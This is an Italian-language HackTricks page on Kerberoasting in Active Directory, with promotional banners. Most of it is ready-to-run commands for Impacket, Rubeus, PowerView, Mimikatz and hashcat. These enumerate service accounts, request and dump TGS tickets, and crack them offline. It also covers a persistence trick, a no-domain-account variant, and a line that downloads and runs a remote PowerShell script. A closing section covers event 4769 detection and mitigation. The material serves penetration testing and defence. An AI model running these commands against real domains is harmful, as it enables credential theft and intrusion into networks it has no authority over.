hacktricks/windows-hardening/active-directory-methodology/kerberoast.md
2024-02-10 13:03:23 +00:00

14 KiB

Kerberoast


Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro con gli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Kerberoast

Kerberoasting si concentra sull'acquisizione di TGS tickets, in particolare quelli relativi ai servizi che operano con account utente in Active Directory (AD), escludendo gli account computer. La crittografia di questi ticket utilizza chiavi che provengono dalle password degli utenti, consentendo la possibilità di cracking delle credenziali offline. L'utilizzo di un account utente come servizio è indicato da una proprietà "ServicePrincipalName" non vuota.

Per eseguire Kerberoasting, è essenziale un account di dominio in grado di richiedere TGS tickets; tuttavia, questo processo non richiede privilegi speciali, rendendolo accessibile a chiunque abbia credenziali di dominio valide.

Punti chiave:

  • Kerberoasting mira ai TGS tickets per i servizi con account utente all'interno di AD.
  • I ticket crittografati con chiavi dalle password degli utenti possono essere craccati offline.
  • Un servizio è identificato da un ServicePrincipalName non nullo.
  • Non sono necessari privilegi speciali, solo credenziali di dominio valide.

Attacco

{% hint style="warning" %} Gli strumenti di Kerberoasting di solito richiedono RC4 encryption durante l'esecuzione dell'attacco e l'inizializzazione delle richieste TGS-REQ. Ciò perché RC4 è più debole ed è più facile da craccare offline utilizzando strumenti come Hashcat rispetto ad altri algoritmi di crittografia come AES-128 e AES-256.
I digest RC4 (tipo 23) iniziano con $krb5tgs$23$* mentre quelli AES-256 (tipo 18) iniziano con $krb5tgs$18$*`. {% endhint %}

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Strumenti multi-funzione che includono un dump degli utenti kerberoastabili:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Enumerare gli utenti vulnerabili a Kerberoasting
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Tecnica 1: Richiedi il TGS e scaricalo dalla memoria

Questa tecnica coinvolge la richiesta di un Service Ticket (TGS) per un account di servizio vulnerabile all'interno di un dominio Active Directory. Successivamente, il TGS viene estratto dalla memoria del sistema e decifrato per ottenere le credenziali dell'account di servizio.

Per eseguire questa tecnica, è necessario identificare gli account di servizio vulnerabili all'interno del dominio. Una volta individuato un account di servizio vulnerabile, è possibile richiedere un TGS per quell'account utilizzando l'hash NTLM dell'account di servizio come chiave di crittografia.

Una volta ottenuto il TGS, è possibile estrarre il TGS dalla memoria del sistema utilizzando strumenti come Mimikatz o Rubeus. Successivamente, il TGS può essere decifrato per ottenere le credenziali dell'account di servizio, inclusa la password dell'account.

Questa tecnica è particolarmente efficace quando gli account di servizio utilizzano password deboli o facilmente indovinabili. È importante notare che questa tecnica richiede privilegi di amministratore sul sistema target per poter accedere alla memoria del sistema.

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Tecnica 2: Strumenti automatici
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

{% hint style="warning" %} Quando viene richiesto un TGS, viene generato l'evento di Windows 4769 - È stata richiesta un ticket di servizio Kerberos. {% endhint %}


Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro con gli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistenza

Se hai abbastanza autorizzazioni su un utente, puoi renderlo kerberoastable:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Puoi trovare strumenti utili per gli attacchi kerberoast qui: https://github.com/nidem/kerberoast

Se riscontri questo errore da Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great), è a causa dell'ora locale, devi sincronizzare l'host con il DC. Ci sono alcune opzioni:

  • ntpdate <IP del DC> - Obsoleto a partire da Ubuntu 16.04
  • rdate -n <IP del DC>

Mitigazione

Il kerberoasting può essere condotto con un alto grado di furtività se è sfruttabile. Per rilevare questa attività, si deve prestare attenzione all'ID evento di sicurezza 4769, che indica che è stata richiesta un ticket Kerberos. Tuttavia, a causa dell'alta frequenza di questo evento, devono essere applicati filtri specifici per isolare attività sospette:

  • Il nome del servizio non dovrebbe essere krbtgt, poiché si tratta di una richiesta normale.
  • I nomi dei servizi che terminano con $ dovrebbero essere esclusi per evitare di includere account macchina utilizzati per i servizi.
  • Le richieste provenienti dalle macchine dovrebbero essere filtrate escludendo i nomi degli account formattati come machine@domain.
  • Dovrebbero essere considerate solo le richieste di ticket riuscite, identificate da un codice di errore '0x0'.
  • In particolare, il tipo di crittografia del ticket dovrebbe essere 0x17, che viene spesso utilizzato negli attacchi di kerberoasting.
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Per mitigare il rischio di Kerberoasting:

  • Assicurarsi che le password degli account di servizio siano difficili da indovinare, raccomandando una lunghezza di oltre 25 caratteri.
  • Utilizzare Managed Service Accounts, che offrono vantaggi come cambi automatici di password e gestione delegata dei Service Principal Name (SPN), migliorando la sicurezza contro tali attacchi.

Implementando queste misure, le organizzazioni possono ridurre significativamente il rischio associato a Kerberoasting.

Kerberoast senza account di dominio

Nel settembre 2022, è stata portata alla luce una nuova modalità per sfruttare un sistema da parte di un ricercatore di nome Charlie Clark, condivisa attraverso la sua piattaforma exploit.ph. Questo metodo consente di acquisire Service Tickets (ST) tramite una richiesta KRB_AS_REQ, che notevolmente non richiede il controllo di alcun account di Active Directory. Fondamentalmente, se un principale è configurato in modo tale da non richiedere la pre-autenticazione - una situazione simile a quella conosciuta nel campo della sicurezza informatica come un attacco AS-REP Roasting - questa caratteristica può essere sfruttata per manipolare il processo di richiesta. In particolare, modificando l'attributo sname all'interno del corpo della richiesta, il sistema viene ingannato nel rilasciare un ST anziché il normale Ticket Granting Ticket (TGT) criptato.

La tecnica è completamente spiegata in questo articolo: post del blog di Semperis.

{% hint style="warning" %} Devi fornire un elenco di utenti perché non disponiamo di un account valido per interrogare l'LDAP utilizzando questa tecnica. {% endhint %}

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:


Usa Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}